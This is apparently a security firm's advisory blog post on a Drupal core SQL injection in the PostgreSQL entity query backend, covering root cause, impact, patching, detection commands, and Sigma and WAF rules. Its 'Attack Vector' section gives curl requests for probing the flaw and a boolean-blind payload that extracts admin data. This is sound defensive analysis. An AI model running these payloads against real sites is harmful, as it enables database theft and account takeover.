SEKurity GmbH Logo
CVE Research

InSEKurity of the Week (CW21/2026): Drupal Core Anonymous SQL Injection (CVE-2026-9082)

An unauthenticated SQL injection in Drupal core's PostgreSQL EntityQuery handler -- anonymous attackers turn JSON object keys and JSON:API filter parameters into raw SQL fragments. Drupal-rated 23/25 'Highly Critical', CISA KEV, 15,000+ exploit attempts in 48 hours

SEKurity Team

Offensive Security Experts

23 min read
Share:

This week in our InSEKurity of the Week series: an unauthenticated SQL injection in Drupal core that turns a JSON object key on the public login endpoint — and a bracketed filter parameter on the public JSON:API endpoint — into raw SQL the database executes. The bug, CVE-2026-9082 (advisory SA-CORE-2026-004), reaches every Drupal site running on PostgreSQL from version 8.9.0 through 11.3.9, including current 10.x and 11.x branches. Drupal’s own rating is 23/25 “Highly Critical”; Imperva observed more than 15,000 exploit attempts against ~6,000 sites in 65 countries within 48 hours of disclosure; CISA added the CVE to the Known Exploited Vulnerabilities catalog on 2026-05-22 with a federal patching due date of 2026-05-27. The vulnerable code path is reachable by an anonymous user against a default Drupal install — no token, no session, no account. If you operate a Drupal site, you almost certainly need to know whether it talks to PostgreSQL, and you almost certainly need to patch it today.

Summary

  • CVE ID: CVE-2026-9082
  • Drupal Advisory: SA-CORE-2026-004
  • Drupal Risk Score: 23/25 — Highly Critical
  • CVSS 3.1 Score (CISA): 6.5
  • CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command — “SQL Injection”)
  • Affected Software: Drupal core 8.9.0 through 11.3.9 — only PostgreSQL database backends (MySQL, MariaDB, SQLite not affected)
  • Vulnerable Component: core/modules/pgsql/src/EntityQuery/Condition.php (PostgreSQL Entity Query backend); reachable through /user/login?_format=json and /jsonapi/node/{bundle}
  • Attack Vector: Network, remote, unauthenticated — anonymous user
  • Authentication Required: None
  • User Interaction: None
  • Impact: Arbitrary SQL read of any data the Drupal database user can reach — session tokens, hashed admin credentials, configuration — with information disclosure escalating to privilege escalation, account takeover, and remote code execution paths well-documented for Drupal post-DB-read
  • Patch Status: Available — 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10
  • Published: Drupal SA-CORE-2026-004 published 2026-05-20; risk score updated 2026-05-22 to reflect active exploitation
  • Reported by: Searchlight Cyber research team
  • Exploitation Status: Active in the wild — Imperva observed 15,000+ attempts across ~6,000 sites in 65 countries within 48 hours; public PoC available on GitHub; CISA KEV listed 2026-05-22 with FCEB due date 2026-05-27

What is Drupal?

Drupal is one of the three dominant open-source CMS platforms in the world (alongside WordPress and Joomla). It powers an estimated 1.7% of all websites, but its true significance is concentrated in two segments where it dominates: government and higher education (federal and state agencies worldwide, including extensive use in U.S. and European public-sector portals) and enterprise-grade brand sites (large media properties, financial services, healthcare). Its sweet spot is sites that need fine-grained editorial workflow, content modeling, multilingual content, and the kind of access-control granularity a WordPress install cannot match without significant plugin sprawl.

Architecturally, Drupal is a PHP application built on Symfony components, with a database abstraction layer that supports MySQL/MariaDB, PostgreSQL, and SQLite. The Entity API is the modern way to model and query content; the JSON:API module has been part of core since Drupal 8.7 (2019) and is enabled by default in many distributions, exposing entity data over a standardised RESTful interface at /jsonapi/.... That interface — precisely because it is part of core — is reachable by anonymous users on any default Drupal site that has not explicitly restricted it.

PostgreSQL adoption inside the Drupal ecosystem is meaningful but a minority of installs — the platform’s roots are in MySQL/MariaDB. The PostgreSQL backend therefore receives less scrutiny per line of code than the MySQL path, which is exactly the kind of asymmetry that produces a “Highly Critical” bug.

Typical Use Cases

  • Government and public-sector portals — federal, state, and municipal websites; agency intranets; freedom-of-information portals.
  • Higher-education websites — university main sites, faculty pages, research portals; Drupal is over-represented in this segment.
  • Enterprise CMS — large media organizations, news publishers, financial-services brand sites, healthcare provider sites.
  • Multilingual sites — Drupal’s content translation pipeline is best-in-class in the open-source CMS space.
  • Headless / decoupled architectures — Drupal back end with a JavaScript front end, communicating exclusively via JSON:API. This deployment shape is exactly the one most exposed by CVE-2026-9082.
  • NGOs and non-profits — large donor- and constituent-facing sites that need editorial workflow.

Because Drupal is the CMS of choice for many regulated and high-value organizations, a Drupal compromise rarely lives in a single site — it pivots into editorial systems, integration tokens for upstream identity providers (SAML, OIDC), and frequently into shared infrastructure behind it.

Technical Analysis

Vulnerability Description

CVE-2026-9082 is an anonymous SQL injection in Drupal core’s PostgreSQL Entity Query backend. The root cause is structural: the PostgreSQL backend overrides the standard condition handler to wrap value comparisons in LOWER() for case-insensitive matching (PostgreSQL is case-sensitive by default; MySQL is not, which is why MySQL/MariaDB are unaffected). For IN clauses, the backend iterates over the array of comparison values and builds one LOWER(:placeholder) fragment per value. The placeholder name is constructed by string-concatenating a prefix with the array key, on the implicit assumption that the array key is a sequential integer.

When the request payload reaches the entity query through Drupal’s REST/JSON:API plumbing, the keys are not sanitized to sequential integers. An attacker who supplies an associative array with attacker-controlled string keys sees those keys pasted verbatim into the SQL string the database driver is about to prepare. The PDO bind step happens after the string is built, so the attacker’s key lands in the SQL text, not in a parameter slot. The result is a classic bind-time SQL injection in code that, on visual inspection, looks parameterized.

Drupal’s fix is a three-line patch: three strategic array_values() calls that reset associative array keys to sequential integers before the vulnerable loop runs.

The two reachable entry points are both on by default and both anonymous:

  1. POST /user/login?_format=json — the JSON-formatted login endpoint accepts a structured name field. An attacker who passes name as a JSON object instead of a string gets their object keys into the entity query.
  2. GET /jsonapi/node/{bundle} — the JSON:API filter parameter syntax (?filter[t][condition][value][...]=...) allows the attacker to nest crafted keys into the value array that the PostgreSQL backend will iterate.

Root Cause Analysis

  1. PostgreSQL case-insensitivity workaround: PostgreSQL string comparisons are case-sensitive by default; Drupal’s PostgreSQL backend wraps both sides of = and IN comparisons in LOWER() to provide cross-database case-insensitive behaviour. This wrapping is the reason the PostgreSQL backend has its own loop — and is the reason MySQL/MariaDB/SQLite paths are not affected.
  2. String-concatenated placeholder names: the pre-patch loop in core/modules/pgsql/src/EntityQuery/Condition.php constructed each placeholder name as ':' . $where_prefix . $key. PDO’s prepared-statement layer treats placeholder names as part of the SQL text — they are interpolated into the statement before the database parses it.
  3. Implicit assumption of numeric keys: the loop treats $key as a sequential integer (0, 1, 2, …). That assumption is true when the array reaches the loop from internal Drupal code paths, but not when the array is built by user input flowing through the REST/JSON:API decoders.
  4. REST decoders preserve keys: Drupal’s JSON request decoders preserve associative keys from the request body and from bracketed query-string syntax into the resulting PHP array. The JSON:API filter syntax (filter[a][b][c][value][key]=...) is specifically designed to express nested associative structures.
  5. Anonymous endpoints: /user/login?_format=json is unauthenticated by definition. /jsonapi/node/{bundle} is enabled by default in installs that ship JSON:API and exposes anonymous read access to public content (which is the normal Drupal default).
  6. Fix is three array_values() calls: the post-patch code calls array_values() on the affected arrays before the loop. That collapses any attacker-supplied keys into 0..N indices. The size of the fix is the inverse of the severity of the bug — a one-character omission cost the project a “Highly Critical”.

Attack Vector

The PoC is short. The sketches below are illustrative only — they show the shape of the attack so defenders can recognize the relevant request signatures, not produce a weaponised exploit.

# Step 1: Detect whether a target Drupal site uses PostgreSQL. The
# vulnerability is PostgreSQL-only, so this is the first thing to
# enumerate. Anonymous error-based probing on the JSON:API endpoint
# is the cleanest tell. A vulnerable host returns HTTP 500 with a
# SQLSTATE[HY093] payload; a patched or non-PostgreSQL host returns
# HTTP 400/200 with no SQLSTATE marker.
curl -sS -o /tmp/probe.json -w '%{http_code}\n' \
    "https://target.example/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][\`]=x"

grep -E 'SQLSTATE\[(HY093|22012)\]' /tmp/probe.json && \
    echo "VULNERABLE: PostgreSQL Drupal, CVE-2026-9082" || \
    echo "Not vulnerable on this signature"
# Step 2 (Variant A - JSON login boolean-blind extraction). The
# /user/login JSON endpoint accepts a 'name' object; the attacker
# supplies an associative-array key that becomes part of the SQL
# placeholder name. A divide-by-zero gadget converts a SQL boolean
# predicate into HTTP 500 (true) vs HTTP 400 (false), giving the
# attacker a one-bit channel they walk one row/column at a time.
curl -sS -o /dev/null -w 'HTTP %{http_code}\n' \
    -H 'Content-Type: application/json' \
    -X POST "https://target.example/user/login?_format=json" \
    -d '{
          "name": {
            "0": "drupal",
            "0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE \"d%\" THEN 0 END)": "drupal"
          },
          "pass": "drupal"
        }'

# HTTP 500 (division by zero) => predicate true; HTTP 400 => false.
# The attacker walks the admin username, the password hash, the
# session table, and any other DB content one bit at a time.
# Step 2 (Variant B - JSON:API filter error-based detection). The
# same bug class is reachable through the public JSON:API filter
# parameter on any node bundle the site exposes anonymously.
curl -sS -o /tmp/r.json -w 'HTTP %{http_code}\n' \
    "https://target.example/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][\`]=x"

# A vulnerable host responds with HTTP 500 and the SQLSTATE[HY093]
# (invalid parameter) marker - the database driver's complaint about
# the malformed placeholder name the attacker injected. From there,
# the same boolean/error-based primitives extract data row by row.

A simplified packet-level view of the JSON login variant:

Attacker (anonymous, no auth)                 Drupal + PostgreSQL
   |                                                 |
   |  POST /user/login?_format=json                  |
   |  Content-Type: application/json                 |
   |  { "name": { "0":"drupal",                      |
   |             "<SQL fragment>":"drupal" },        |
   |    "pass": "drupal" }                           |
   |------------------------------------------------>|  JSON decoder
   |                                                 |  preserves
   |                                                 |  associative
   |                                                 |  keys into PHP
   |                                                 |  array
   |                                                 |
   |                                                 |  Entity Query
   |                                                 |  PG backend
   |                                                 |  builds:
   |                                                 |  LOWER(:db_cond_<KEY>)
   |                                                 |  where <KEY>
   |                                                 |  is the SQL
   |                                                 |  fragment
   |                                                 |
   |                                                 |  PDO prepare:
   |                                                 |  raw SQL has
   |                                                 |  fragment in
   |                                                 |  placeholder
   |                                                 |  position -
   |                                                 |  PostgreSQL
   |                                                 |  parses it
   |                                                 |
   |<-- HTTP 500 (true) / HTTP 400 (false) ----------|
   v                                                 v
   1 bit extracted; repeat to walk admin hash / session table.

Exploitation in the Wild

  • 2026-05-19 — Drupal coordinates disclosure with downstream packagers; first writeups embargoed.
  • 2026-05-20 — SA-CORE-2026-004 published; patched versions land in Drupal.org packagist, Pantheon, Acquia, and major distro channels.
  • 2026-05-21 — Public PoC scanner appears on GitHub; first wave of opportunistic probing begins.
  • 2026-05-22 — Drupal updates the SA risk score to flag active exploitation in the wild; CISA adds CVE-2026-9082 to the Known Exploited Vulnerabilities catalog with FCEB due date 2026-05-27.
  • 2026-05-22 / 23 — Imperva reports observing 15,000+ exploitation attempts against approximately 6,000 unique Drupal sites in 65 countries; nearly half of the observed traffic targets gaming and financial services sites.

Volume and geographic spread inside the first 48 hours, combined with the dual-vector reachability (login + JSON:API), is the profile of broad opportunistic exploitation rather than targeted intrusion. Treat any unpatched PostgreSQL-backed Drupal site as compromised until proven otherwise.

Post-Exploitation Impact

  1. Full database read: any data the Drupal database user can SELECT — session tokens, hashed admin credentials (users_field_data.pass), private content, configuration, integration credentials stored in config rows.
  2. Account takeover: session tokens lifted from the sessions table let the attacker reuse live admin sessions without cracking a password hash.
  3. Privilege escalation via password reset: with read access to internal session/token tables, the attacker forges or replays password-reset workflows for any account, including uid = 1 (the all-powerful “User 1”).
  4. Path to RCE: a Drupal admin can install modules, edit Twig templates, and enable PHP execution paths — which means a SQL-read primitive that yields admin authentication is a one-step pivot to remote code execution on the web tier.
  5. Stored credential pivot: many Drupal sites store API keys, SMTP credentials, third-party integration secrets, and SAML/OIDC signing keys in config rows; lifting them pivots the compromise upstream into the customer’s identity provider, mail platform, and SaaS estate.
  6. Stealth read: the SQL injection itself is a SELECT primitive in the common case. Sites without HTTP-request logging at the body level may not retain the evidence of what was extracted — only that a 500 occurred.

Impact Assessment

Immediate Impact

  • Unauthenticated SQL injection on a default Drupal install — no credentials, no token, no foothold required.
  • Two anonymous reach paths — the JSON login endpoint and the JSON:API filter parameter syntax.
  • Drupal-rated 23/25 “Highly Critical” — the highest practical bucket on Drupal’s own severity scale; reserved for issues that allow trivial unauthenticated compromise of arbitrary data.
  • Active mass exploitation — 15,000+ attempts in 48 hours, 65 countries; the bar to weaponization is on the floor.
  • CISA KEV with FCEB due date 2026-05-27 — regulatory deadline that codifies the threat assessment.
  • Pivot-rich: SQL read on a Drupal database is a starting line, not a finish line — the realistic worst case is admin-session takeover, Twig template RCE, and lateral movement into stored integration secrets.

Affected Versions

Drupal SeriesVulnerableFixed In
8.9.xAll buildsEOL (best-effort patch only)
9.xAll buildsEOL (best-effort patch only)
10.4.x10.4.0 — 10.4.910.4.10
10.5.x10.5.0 — 10.5.910.5.10
10.6.x10.6.0 — 10.6.810.6.9
11.0.x — 11.1.xAll builds11.1.10 (best-effort for pre-11.1)
11.2.x11.2.0 — 11.2.1111.2.12
11.3.x11.3.0 — 11.3.911.3.10

Drupal 7 is not affected (different code paths). MySQL/MariaDB and SQLite backends are not affected regardless of Drupal version. Distro/hosting-provider package versions (Pantheon, Acquia, Platform.sh, Debian DSAs, Ubuntu USNs) may lag the upstream release window by hours.

Affected Environments

  • Public-sector portals — federal, state, and municipal Drupal sites. The Drupal footprint in government is the reason CISA’s FCEB deadline is so short.
  • Higher-education websites — university main sites and faculty/department portals.
  • Enterprise CMS — large media, financial services, healthcare CMS deployments.
  • Headless / decoupled architectures — sites where JSON:API is the only surface the front end uses; the JSON:API filter parameter vector hits these hardest.
  • Multi-tenant Drupal hosts — managed Drupal platforms running many customer sites on shared infrastructure.
  • PostgreSQL-backed installs everywhere — including on-prem hosting and air-gapped intranet portals that may not be in the same patching window as public sites.

Attacker Profiles

  • Opportunistic mass exploitation — the public PoC plus the easy fingerprinting (the SQLSTATE marker on the JSON:API filter endpoint) makes this a perfect mass-scanning target.
  • Initial-access brokers — the path from anonymous SQL read to admin session to Twig RCE is well-trodden; this CVE is a fresh stream of fresh footholds for the access-broker market.
  • Ransomware affiliates — web-tier RCE on a Drupal site is a classic entry point into the customer’s internal estate.
  • Hacktivists targeting public-sector sites — the Drupal-in-government concentration makes high-profile defacement a likely follow-on outcome.
  • Data-theft operators — private content, member databases, donor/constituent rosters, integration secrets.
  • Nation-state targeting of regulated sectors — the gaming/financial-services concentration in the first 48 hours of exploitation hints that more strategic actors are also in the mix.

Mitigation Strategies

Immediate Actions (Priority 1)

  1. Patch to the fixed Drupal release for your branch. This is the only durable fix:

    # Identify the running Drupal version. Run from the docroot.
    drush status --fields=drupal-version
    # or - if drush is unavailable - check via the CLI bootstrap:
    php -r "include 'core/lib/Drupal.php'; echo \Drupal::VERSION;"
    
    # Upgrade via Composer (the supported path on 10.x / 11.x).
    composer require 'drupal/core-recommended:^11.3.10' \
                     'drupal/core-composer-scaffold:^11.3.10' \
                     'drupal/core-project-message:^11.3.10' \
                     --update-with-all-dependencies
    
    # Run database updates and clear caches.
    drush updatedb -y
    drush cache:rebuild
  2. Verify which database backend the site actually uses — this is the single most important triage question. Only PostgreSQL-backed sites are vulnerable:

    # Check the active database driver from a vulnerable Drupal host.
    drush sql:conf --format=json | python3 -c \
        "import json,sys; d=json.load(sys.stdin); \
         print('DRIVER:', list(d.values())[0]['driver'])"
    
    # Alternative: inspect settings.php directly (paths may differ).
    grep -E "'driver' *=>" sites/default/settings.php
  3. If you cannot patch within hours, restrict the two anonymous entry points at the edge. This is a stop-gap, not a fix:

    # nginx - return 403 for the JSON login endpoint and the JSON:API
    # filter parameter. Both will break legitimate functionality, so
    # plan a real patch window straight after.
    location = /user/login {
        if ($arg__format = "json") { return 403; }
    }
    location ~ ^/jsonapi/ {
        if ($args ~ "filter\[") { return 403; }
    }
    # Apache equivalent - mod_rewrite to deny the two known surfaces.
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (^|&)_format=json
    RewriteRule ^/user/login - [F,L]
    RewriteCond %{QUERY_STRING} filter\[
    RewriteRule ^/jsonapi/ - [F,L]
  4. Rotate every credential the Drupal database could read during the exposure window: admin passwords (force-reset all uid accounts with admin roles), session tables (drush sql:query "TRUNCATE TABLE sessions;"), API keys stored in config rows, SAML/OIDC signing keys, SMTP credentials, third-party integration tokens. Assume the worst.

  5. Inventory every Drupal site you operate, even the ones you forgot about. Sub-sites, archived microsites, campaign sites, and “we’ll decommission it next quarter” sites are exactly the population that gets compromised in events like this. A single grep is enough to start:

    # Cluster-wide inventory of Drupal installs and their database
    # drivers. The "PostgreSQL && unpatched" intersection is the
    # emergency-patch list.
    for host in $(cat hosts.txt); do
        ssh "$host" '
            for f in $(find /var/www /srv -name settings.php 2>/dev/null); do
                version=$(grep -hoE "VERSION = .[0-9.]+." \
                          "$(dirname "$f")/../../core/lib/Drupal.php" 2>/dev/null \
                          | head -n1)
                driver=$(grep -hoE "'\''driver'\'' *=> *'\''[a-z]+'\''" "$f" \
                         | head -n1)
                echo "$host $f $version $driver"
            done
        '
    done | tee drupal-inventory.txt
  6. Drupal Steward customers — WAF protection against this specific advisory is rolled out by the Drupal Association’s Steward programme. This is not a substitute for patching, but it shortens the window of exposure for sites that genuinely cannot deploy a code change immediately.

Detection Measures

The vulnerability has two clean detection signatures: a database-side SQLSTATE marker and a web-tier request shape. Either alone is a high-signal indicator.

# (a) Web-tier - hunt for the two known request shapes in nginx/Apache
# access logs. A patched site still receives these requests from
# opportunistic scanners; on a vulnerable site they probably
# returned HTTP 500.
grep -E 'POST /user/login\?_format=json' /var/log/nginx/access.log
grep -E 'GET /jsonapi/.+filter\[' /var/log/nginx/access.log \
    | grep -E ' (500|400) '

# (b) Database-side - SQLSTATE[HY093] and SQLSTATE[22012] appearing
# in PHP error logs after May 20 2026 are strong indicators of the
# attack pattern (the attacker uses the error message as the data
# extraction channel).
grep -E 'SQLSTATE\[(HY093|22012)\]' /var/log/php-fpm/*.log \
    /var/log/drupal/*.log 2>/dev/null

# (c) Drupal watchdog table - if you used dblog (default in many
# installs), the same SQLSTATE markers appear there:
drush sql:query "SELECT timestamp, type, message FROM watchdog \
                 WHERE message ILIKE '%SQLSTATE[HY093]%' \
                    OR message ILIKE '%SQLSTATE[22012]%' \
                 ORDER BY timestamp DESC LIMIT 50;"

# (d) Sessions table - if attackers escalated to admin session takeover,
# you may see anonymously created sessions that later acquire uid=1
# without a corresponding successful login event. Hunt for sessions
# whose source IP differs from the historical admin IP pattern.
drush sql:query "SELECT uid, hostname, timestamp, sid FROM sessions \
                 WHERE uid = 1 ORDER BY timestamp DESC LIMIT 20;"

SIEM detection content (Sigma-style sketch):

title: Drupal CVE-2026-9082 SQL Injection Probe
description: >
  Detects request shapes associated with CVE-2026-9082 PostgreSQL
  EntityQuery SQL injection in Drupal core (SA-CORE-2026-004).
status: experimental
references:
  - https://www.drupal.org/sa-core-2026-004
logsource:
  category: webserver
detection:
  json_login:
    cs-method: POST
    cs-uri-stem: /user/login
    cs-uri-query|contains: '_format=json'
  jsonapi_filter:
    cs-uri-stem|startswith: /jsonapi/
    cs-uri-query|re: 'filter\[.*?\]\[.*?\]\[value\]\['
  http_500:
    sc-status: 500
  condition: (json_login or jsonapi_filter) and http_500
level: high

WAF rule sketch (ModSecurity / equivalents):

SecRule REQUEST_URI "@beginsWith /jsonapi/" \
    "chain,phase:2,deny,status:403,id:202690082,\
     msg:'CVE-2026-9082 JSON:API filter injection probe'"
  SecRule ARGS_NAMES "@rx ^filter\[.*\]\[.*\]\[value\]\[[^0-9]" \
      "t:none"

SecRule REQUEST_URI "@beginsWith /user/login" \
    "chain,phase:2,deny,status:403,id:202690083,\
     msg:'CVE-2026-9082 JSON login injection probe'"
  SecRule ARGS:_format "@streq json" \
      "chain,t:none"
    SecRule REQUEST_BODY "@rx \"name\"\s*:\s*\{" \
        "t:none"

Long-term Security Improvements

  1. JSON:API exposure by default is too generous: review whether your Drupal site genuinely needs anonymous JSON:API on every entity type. The jsonapi_extras module lets you disable endpoints you do not actually use; for many traditional CMS deployments the answer is “all of them”.
  2. Edge-rate-limit the login endpoint: /user/login?_format=json is a structured-login surface that legitimate users very rarely hit at high frequency. A WAF-level rate limit (e.g. 10 requests / minute / IP) shortens the data-extraction window for blind SQL injection.
  3. Database-level least privilege: the Drupal database user does not need CREATE FUNCTION, COPY ... TO PROGRAM, or other PostgreSQL features that turn SQL injection into RCE. Run Drupal with a database role that has the minimum set of object privileges (SELECT/INSERT/UPDATE/DELETE on the application schema, nothing more).
  4. Encrypt or externalize secrets in config: integration tokens, API keys, and SMTP credentials in config rows are exactly the kind of payload a SQL read maximally rewards. The key and encrypt contrib modules move sensitive values into a key-management backend.
  5. Treat “Highly Critical” Drupal SAs as 24-hour SLAs: Drupal’s risk-scoring scale tops out at exactly the kind of bug you cannot afford to leave unpatched overnight. Build the change-management pipeline so a SA-CORE landing on Tuesday afternoon UTC is patched before Wednesday morning UTC.
  6. Watchdog/SIEM coverage for database-driver errors: SQLSTATE[*] exceptions surfacing in the watchdog (or in PHP error logs) are an underused detection signal. Pipe them into the SIEM and alert on volume changes.
  7. Verify backups can rebuild from a known-clean checkpoint: a SQL-injection compromise that progressed to admin takeover and Twig RCE is rarely cleaner to remediate than restoring from a pre-incident snapshot. That assumes the snapshot is good; rehearse it.

Why is this Critical?

  1. Anonymous, unauthenticated SQL injection in core, on a default Drupal install.
  2. Two reach paths — both enabled by default on most installs (/user/login?_format=json and /jsonapi/...).
  3. Drupal’s own “Highly Critical” rating — 23 of 25, the most severe practical bucket.
  4. Active mass exploitation — 15,000+ attempts against 6,000 sites in 65 countries inside 48 hours.
  5. CISA KEV with a 5-day FCEB deadline — the regulatory tell.
  6. High pivot value — SQL read on a Drupal database typically chains to admin session takeover, Twig template RCE, and lateral movement into stored integration credentials.
  7. Concentrated in regulated and high-value sectors — public sector, higher education, financial services, gaming, healthcare.
  8. One-character fix — the trivial nature of the patch is the inverse of how easily the original bug slipped through review; expect copycats in similar abstractions in other CMS database backends.

Timeline and Disclosure

  • 2026-05-19 — Drupal coordinates disclosure with downstream packagers (Pantheon, Acquia, Platform.sh, distro maintainers); embargoed writeups distributed.
  • 2026-05-20SA-CORE-2026-004 published; patched releases 10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10 land on Drupal.org packagist and major distribution channels. NVD assigns CVE-2026-9082.
  • 2026-05-21 — Public PoC scanner appears on GitHub (ridhinva/CVE-2026-9082); first wave of opportunistic probing observed by hosting providers.
  • 2026-05-22 — Drupal updates SA-CORE-2026-004 risk score to reflect active exploitation in the wild. CISA adds CVE-2026-9082 to the Known Exploited Vulnerabilities catalog with FCEB due date 2026-05-27. Berkeley ISO, Tenable, BleepingComputer, Hacker News, Help Net Security, SecurityAffairs publish writeups.
  • 2026-05-22 / 23 — Imperva publishes telemetry showing 15,000+ exploit attempts against ~6,000 sites in 65 countries within the first 48 hours, concentrated on gaming and financial-services sectors. Searchlight Cyber publishes its full technical writeup (“Keys to the Kingdom”).
  • 2026-05-26 — Patch coverage widens across managed Drupal platforms; long-tail unpatched sites remain the bulk of the exposure.
  • 2026-05-27FCEB statutory deadline under CISA BOD 22-01.

Resources and References

SEKurity Supports You

Vulnerabilities like CVE-2026-9082 are a reminder that a CMS is rarely a single attack surface — it is a family of surfaces (login, REST, JSON:API, GraphQL, file uploads, image-style derivatives, sub-requests) layered over a database whose row contents are the keys to the rest of the customer’s estate. Anonymous SQL injection on the database means anonymous read access to integration secrets, identity-provider keys, mail credentials, and admin sessions — and from there into the systems behind the CMS. We help organizations measure their real exposure on Drupal estates (and CMS estates in general), validate that patches have actually shipped on every site, every microsite, and every “we forgot we still ran that” property, and stress-test whether a CMS compromise would be detected before it reaches the integrations behind it.

Our Services

  • Penetration Testing: Web applications, mobile apps (Android & iOS), SAP systems, Active Directory
  • Large-Scale Attacks: Perimeter testing, IT infrastructure testing, Red Team engagements
  • Security Awareness: Phishing campaigns, hacking demonstrations

Act now — before attackers do.


Contact:

Website: www.sekurity.de

Inquiries: www.sekurity.de/kontakt

LinkedIn: SEKurity GmbH


Your SEKurity Team — Your Trusted Adversaries

The security of your web platforms is our drive.


Sources

About the Author

SEKurity Team

Offensive Security Experts

The SEKurity GmbH team consists of experienced penetration testers, security researchers, and cybersecurity consultants. Under the motto 'Your Trusted Adversaries', we support organizations in evaluating their IT security from an attacker's perspective and improving it.

Related Articles